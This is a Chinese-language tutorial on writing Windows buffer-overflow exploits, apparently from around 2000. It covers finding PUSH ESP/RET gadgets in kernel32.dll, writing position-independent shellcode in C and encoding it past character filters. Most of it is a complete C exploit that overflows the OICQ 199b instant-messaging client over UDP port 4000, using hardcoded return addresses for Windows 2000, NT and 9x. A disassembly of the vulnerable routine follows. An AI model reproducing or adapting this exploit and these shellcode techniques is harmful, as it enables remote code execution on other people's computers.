WINDOWS下的溢出程序编写技巧

  看了些WINDOWS下的溢出程序,觉得不够统一、完美,决定做一个相对较统一的编写方法,试着解决了些问题。

1、JMP ESP 的问题。
   为了尽量统一,都使用KERNERL32。DLL的代码,因为至少同一系统KERNEL32。DLL模块装载地址变化可能小,别的模块可能随着安装应用软件的环境不同装载地址不同,还有其模块安装是KERNEL32。DLL在比较前面,后面的模块安装地址要随前面模块的变动而变动,所以还是决定用KERNEL32。DLL相对比较统一(就是同一系统不同版本)。解决了JMP ESP (FF E4)代码找不到问题,增加使用PUSH ESP (54)
。。。。
RET (C3)
或者
PUSH ESP (54)
。。。。
RET 00XX (C2 XX 00) (RET NUM ,NUM最好不要太大,所以做限制 NUM=00XX)
代码,这可以找到很多了。“。。。”为几条不定语句,但要不影响功能的。
比如找到一处代码就可以使用:
PUSH ESP
AND AL,08
RET 10
 选择原则尽量使用模块前面的可用的,因为不同版本前面的相同可能要大。因为9X与NT系统模块装载地址有很大区别,所以用这方法不可能统一,我看了WINNT、WIN2000竟然KERNEL32。DLL的装载地址也不一样,真有点。。。。具体哪个程序的溢出可以试着找那程序中的 JMP ESP,但这地址一般都是0X00XXXXXX,所以也有问题。 这是否可以在程序中先识别要攻击系统的系统?下面程序是用宏定义。
  
 2、解决SHELLCODE的编写问题。
 原来很多程序的SHELLCODE都是用先编写好后用"\XAA\XBB"的形式写出来,一个是不好修改,还有不好看到底是什么SHELLCODE。所以想法是SHELLCODE和溢出程序一起编写。这对SHELLCODE编写稍微有点要求,这就是要求SHELLCODE代码是可移动代码,就是整个代码地址移动照常运行。为了减少不兼容,函数调用地址也用LOADLIBRARY和GETPROCADDRESS得到,这样SHELLCODE就只依靠这两个参数。其实这两个参数也可以在内存里面找到KERNEL32。DLL模块,再根据函数引出表自己得到地址。那样就只有JMP ESP地址在WINNT、WIN200、WIN9X下没有统一了。程序中已经大致有了SHELLCODE编写的雏形。现在有几个问题:
  一,确定SHELLCODE函数代码地址,直接指定得到的是一个JMP SHELLCODE的地址,应该有方法直接得到的。
  二,SHELLCODE用C编写编译后往往有_CHKESP的一个调用,这可以改汇编编写或者找到里面的call _CHKESP的代码用NOP填充。
 3、SHELLCODE字符往往有要求,决定对SHELLCODE编码,前面加一小段代码对SHELLCODE解码,编码为符合要求的SHELLCODE,这减轻对SHELLCODE编写的要求。不同要求主要改写这一小段编码代码。
/* oicq 199b build 0220 overflow program
copy by yuange <[email protected]> 2000。04。18
新版本0410有堆溢出,用这程序可以攻击,但不能执行SELLCODE
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#define NUKEWIN2000
//#define NUKEWIN9X
#ifdef NUKEWIN2000
#define RETEIPADDR eipwin2000
#define LoadLibraryfnaddress 0x77e78023 //0x77E60000+0x00018023 LoadLibrary
#define GetProcAddressfnaddress 0x77e7564b //0X77E60000+0x0001564B GetProcAddress
#else
#ifdef NUKEWIN9X
#define RETEIPADDR eipwin9x
#define LoadLibraryfnaddress 0xbff77750 //0xbff70000+0x00007750 LoadLibrary
#define GetProcAddressfnaddress 0xbff76e28 //0xbff70000+0x00006e28 GetProcAddress
#else
#define RETEIPADDR eipwinnt
#define LoadLibraryfnaddress 0x77EE391A //0x77ED0000+0x0001391A LoadLibrary
#define GetProcAddressfnaddress 0x77eE4111 //0x77ED0000+0x00014111 GetProcAddress
#endif
#endif
#define NOPCODE 0x90
#define BUFFSIZE 0x2000
#define OICQPORT 4000
#define OICQOVERADD 7+0x41C
#define OVERADD OICQOVERADD
#define STR0 0
#define STR1 11
#define STR2 23
#define STR3 33
#define STR4 39
#define STR5 51
void shellcodefnlock();
void shellcodefn();
void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);
int main(int argc, char **argv)
{
char *server;
char *str="user32.dll""\x0""MessageBoxA""\x0"" secuess""\x0"" OK!""\x0""msvcrtd.dll""\x0""exit""\x0";
char buff1[]="\x02\x01\x07\x00\x78\x11\x22\x33\x33\x33\x33\x33\x1f\x30\x1f\x37\x35\x1f""2000-4-10""\x1f""12:00:00""\x1f";
/* oicq udp head */
//0x77ed0000+0x1ddd4 kernel32.dll // push esp // and al,08 // ret 0c
char eipwinnt[] ="\xd4\xdd\xee\x77"; //0x77ed0000+0x0001ddd4
char eipwin2000[] ="\xea\x17\xe8\x77"; //0x77e60000+0x000217ea
// kernel32.dll // push esp // and al,08 // ret 0c
//0x77e2e32a user32.dll JMP ESP
char eip2win2000[] = "\x2a\xe3\xe2\x77"; //0x77df0000+0x0003e32a
char eipwin9x[] = "\xd9\x6a\xf7\xbf"; //0xbff70000+0x00006ad9
// Kernel32.dll 4.10.2184 0xbff70000+0x0006ad9
// push esp // and al,0x10; // ret 0x10;
char buff[BUFFSIZE];
char shellcodebuff[0x1000];
struct sockaddr_in s_in2,s_in3;
struct hostent *he;
char *shellcodefnadd,*chkespadd;
unsigned int sendpacketlong;
unsigned int i,j,k;
unsigned char temp;
int fd;
u_short port,port1;
SOCKET d_ip;
WSADATA wsaData;
int result= WSAStartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
fprintf(stderr, "Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}
if(argc <2)
{
WSACleanup( );
fprintf(stderr,"\n nuke oicq .\n copy by yuange 2000.4.1. \n wellcome to my homepage http://ynhacker.com .");
fprintf(stderr, "\n usage: %s <server> [port] \n", argv[0]);
exit(1);
}
else server = argv[1];
d_ip = inet_addr(server);
if(d_ip==-1){
he = gethostbyname(server);
if(!he)
{
WSACleanup( );
printf("\n Can't get the ip of %s !\n",server);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}
if(argc>2) port = atoi(argv[2]);
else port=OICQPORT;
if(port==0) port=OICQPORT;
fd = socket(AF_INET, SOCK_DGRAM,0);
i=8000;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
s_in2.sin_family = AF_INET;
if(argc>3) port1=atoi(argv[3]);
else port1=OICQPORT;
if(port1==0) port1=OICQPORT;
s_in2.sin_port = htons(port1);
s_in2.sin_addr.s_addr =0;
s_in3.sin_family = AF_INET;
s_in3.sin_port = htons(port);
s_in3.sin_addr.s_addr = d_ip;
bind(fd,(const struct sockaddr FAR* )&s_in2, sizeof(struct sockaddr_in));
printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
memset(buff,NOPCODE,BUFFSIZE);
memcpy(buff,buff1,37);
_asm{
mov ESI,ESP
cmp ESI,ESP
}
_chkesp();
chkespadd=_chkesp;
temp=*chkespadd;
if(temp==0xe9) {
++chkespadd;
// (int *) i=(int*) *chkespadd;
_asm{
mov EDI,dword ptr [chkespadd]
mov EDI,[EDI]
mov i,EDI
}
chkespadd+=i;
chkespadd+=4;
}
shellcodefnadd=shellcodefnlock;
temp=*shellcodefnadd;

if(temp==0xe9) {

++shellcodefnadd;

// (int *) k=(int *) *shellcodefnadd;

_asm{

mov EDI,dword ptr [shellcodefnadd]

mov EDI,[EDI]

mov k,EDI

}

shellcodefnadd+=k;

shellcodefnadd+=4;

}



for(k=0;k<=0x500;++k){

if(memcmp(shellcodefnadd+k,"\x90\x90\x90\x90",4)==0) break;

}

memcpy(buff+OVERADD+0x20,shellcodefnadd+k+4,80);



shellcodefnadd=shellcodefn;

temp=*shellcodefnadd;

if(temp==0xe9) {

++shellcodefnadd;

// (int *)k=*shellcodefnadd;

_asm{

mov EDI,dword ptr [shellcodefnadd]

mov EDI,[EDI]

mov k,EDI

}

shellcodefnadd+=k;

shellcodefnadd+=4;

}



for(k=0;k<=0x1000;++k){

if(memcmp(shellcodefnadd+k,"\x90\x90\x90\x90",4)==0) break;

}



memcpy(shellcodebuff,shellcodefnadd,k); //j);

cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);





memcpy(shellcodebuff+k,str,0x80);

sendpacketlong=k+0x80;

for(k=0;k<=0x200;++k){

if(memcmp(buff+OVERADD+0x20+k,"\x90\x90\x90\x90",4)==0) break;

}



for(i=0;i<sendpacketlong;++i){

temp=shellcodebuff;

temp&=0xf0;

temp=temp/0x10;

temp+=0x41;

buff[OVERADD+0x20+k]=temp;

++k;

temp=shellcodebuff;

temp&=0x0f;

temp+=0x41;

buff[OVERADD+0x20+k]=temp;

++k;

}

memcpy(buff+OVERADD,RETEIPADDR,4);

sendpacketlong=OVERADD+0x20+k+0x10;

for(i=0;i<1;++i){

j=rand();

buff1[0x5]=j;

buff1[0x6]=j+1;

j=sendpacketlong;

buff[j-1]=0x03;

fprintf(stderr,"\n send packet %d bytes.",j);

sendto(fd,buff,j,0,(const struct sockaddr FAR* )&s_in3,sizeof(struct sockaddr_in));

}

closesocket(fd);

WSACleanup( );

return(0);

}



void shellcodefnlock()

{

_asm{

nop

nop

nop

nop

jmp next

getediadd: pop EDI

push EDI

pop ESI

looplock: lodsw

sub AX,0x4141

shl AL,4

xor AL,AH

stosb

cmp AH,0x10

jb looplock

jmp shell

next: call getediadd

shell: nop

nop

nop

nop

}

}



void shellcodefn()

{

// const char str[]="user32.dll""\x0""MessageBoxA""\x0""msvcrtd.dll""\x0""exit";

FARPROC procloadlib,procgetadd,procmsg,procexit;

char *stradd;

HANDLE libhandle;

procloadlib = LoadLibraryfnaddress;

procgetadd = GetProcAddressfnaddress;

_asm

{

jmp nextcall

getstradd: pop stradd

}

libhandle=procloadlib(stradd+STR0);

procmsg=procgetadd(libhandle,stradd+STR1);

procmsg(0,stradd+STR3,stradd+STR2,0);

// libhandle=procloadlib(stradd+STR6);

// opensocketadd=procgetadd(stradd+str7);

libhandle=procloadlib(stradd+STR4);

procexit =procgetadd(libhandle,stradd+STR5);

procexit(0);

_asm{

die: jmp die

nextcall: call getstradd

nop

nop

nop

nop

}

}

void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)

{

int i,k;

unsigned char temp;

char *calladd;



for(i=0;i<len;++i){

temp=shellbuff;

if(temp==0xe8){

// (int *)k=*(shellbuff+i+1);

k=shellbuff+i+1;

_asm{

mov EDI,k

mov EDI,[EDI]

mov k,EDI

}



calladd=fnadd;

calladd+=k;

calladd+=i;

calladd+=5;

if(calladd==chkesp){

shellbuff=0x90;

shellbuff[i+1]=0x43; // inc ebx

shellbuff[i+2]=0x4b; // dec ebx

shellbuff[i+3]=0x43;

shellbuff[i+4]=0x4b;

}

}

}

}







/* OICQ有问题代码



:00425D51 837C240800 cmp dword ptr [esp+08], 00000000

:00425D56 740C je 00425D64

:00425D58 8B01 mov eax, dword ptr [ecx]

:00425D5A FF742408 push [esp+08]

:00425D5E FF90B8000000 call dword ptr [eax+000000B8]



* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:00425D56(C)

|

:00425D64 33C0 xor eax, eax

:00425D66 C20800 ret 0008





:00425D69 B8E4774900 mov eax, 004977E4

:00425D6E E80D700300 call 0045CD80

:00425D73 81EC10040000 sub esp, 00000410

;有溢出 yrg 2000.04.18

;缓冲区大小



:00425D79 53 push ebx

:00425D7A 56 push esi

:00425D7B 8B7508 mov esi, dword ptr [ebp+08]

:00425D7E 8D85E4FBFFFF lea eax, dword ptr [ebp+FFFFFBE4]

:00425D84 57 push edi

:00425D85 50 push eax

:00425D86 FF7628 push [esi+28]

:00425D89 8BD9 mov ebx, ecx

:00425D8B FF7624 push [esi+24]

:00425D8E E8C9000000 call 00425E5C

:00425D93 85C0 test eax, eax

:00425D95 0F84B0000000 je 00425E4B

:00425D9B 8D85E8FBFFFF lea eax, dword ptr [ebp+FFFFFBE8]

:00425DA1 8D4DF0 lea ecx, dword ptr [ebp-10]

:00425DA4 50 push eax

:00425DA5 E8CFF10400 call 00474F79

:00425DAA 8365FC00 and dword ptr [ebp-04], 00000000

:00425DAE 8BBDE6FBFFFF mov edi, dword ptr [ebp+FFFFFBE6]

:00425DB4 56 push esi

:00425DB5 8D4D08 lea ecx, dword ptr [ebp+08]

:00425DB8 E8BCF10400 call 00474F79

:00425DBD 0FB785E4FBFFFF movzx eax, word ptr [ebp+FFFFFBE4]

:00425DC4 8B7620 mov esi, dword ptr [esi+20]

:00425DC7 83E878 sub eax, 00000078

:00425DCA C645FC01 mov [ebp-04], 01

:00425DCE 7434 je 00425E04

:00425DD0 48 dec eax

:00425DD1 7560 jne 00425E33

:00425DD3 51 push ecx

:00425DD4 8D45F0 lea eax, dword ptr [ebp-10]

:00425DD7 8BCC mov ecx, esp

:00425DD9 8965EC mov dword ptr [ebp-14], esp

:00425DDC 50 push eax

:00425DDD E89EEE0400 call 00474C80

:00425DE2 57 push edi

:00425DE3 56 push esi

:00425DE4 51 push ecx

:00425DE5 8D4508 lea eax, dword ptr [ebp+08]

:00425DE8 8BCC mov ecx, esp

:00425DEA 8965E8 mov dword ptr [ebp-18], esp

:00425DED 50 push eax

:00425DEE C645FC03 mov [ebp-04], 03

:00425DF2 E889EE0400 call 00474C80

:00425DF7 8BCB mov ecx, ebx

:00425DF9 C645FC01 mov [ebp-04], 01

:00425DFD E8D4030000 call 004261D6

:00425E02 EB2F jmp 00425E33



* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:00425DCE(C)

|

:00425E04 51 push ecx

:00425E05 8D45F0 lea eax, dword ptr [ebp-10]

:00425E08 8BCC mov ecx, esp

:00425E0A 8965E8 mov dword ptr [ebp-18], esp

:00425E0D 50 push eax

:00425E0E E86DEE0400 call 00474C80

:00425E13 57 push edi

:00425E14 56 push esi

:00425E15 51 push ecx

:00425E16 8D4508 lea eax, dword ptr [ebp+08]

:00425E19 8BCC mov ecx, esp

:00425E1B 8965EC mov dword ptr [ebp-14], esp

:00425E1E 50 push eax

:00425E1F C645FC02 mov [ebp-04], 02

:00425E23 E858EE0400 call 00474C80

:00425E28 8BCB mov ecx, ebx

:00425E2A C645FC01 mov [ebp-04], 01

:00425E2E E860040000 call 00426293



* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:

|:00425DD1(C), :00425E02(U)

|

:00425E33 8065FC00 and byte ptr [ebp-04], 00

:00425E37 8D4D08 lea ecx, dword ptr [ebp+08]

:00425E3A E8CCF00400 call 00474F0B

:00425E3F 834DFCFF or dword ptr [ebp-04], FFFFFFFF

:00425E43 8D4DF0 lea ecx, dword ptr [ebp-10]

:00425E46 E8C0F00400 call 00474F0B



* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:00425D95(C)

|

:00425E4B 8B4DF4 mov ecx, dword ptr [ebp-0C]

:00425E4E 5F pop edi

:00425E4F 5E pop esi

:00425E50 64890D00000000 mov dword ptr fs:[00000000], ecx

:00425E57 5B pop ebx

:00425E58 C9 leave

:00425E59 C20400 ret 0004

*/





/* OICQ消息的UDP数据结构,参见ZER9的《OICQ的安全问题 》

struct TOicqPtoP

{

char Tag1; // 0x02 // 显然是 Oicq 的协议编号 or 版本,固定

char Tag2; // 0x01 // 显然是 Oicq 的协议编号 or 版本,固定

char Tag3; // 0x07

char Tag4; // 0x00

char Tag5; // 0x78

char Tag6; // 这两个字节相当于 unix 上的进程 ID,

char Tag7; // 随便赋值就可。

char cOicqNub[]; // 发送方的Oicq 号码。 exp:123456

char cFF; // 0x1f 在所有的Oicq 信息结构中,分割符都是 0x1f

char cR; // '0' 固定

char cFF; //

char cE[]; // "75" ,这一位相对固定,可能是操作方式。

char cFF;

char cDateTime[]; // exp: "2000-4-10",0x1f,"12:00:12",0x1f

char OutMsg[]; // 发送的消息内容。

char cEnd; // 0x03 ,所有的 oicq 信息都已 0x03 为标记结束。

};

*/

你可能感兴趣的:(c,windows,server,struct,socket,dll)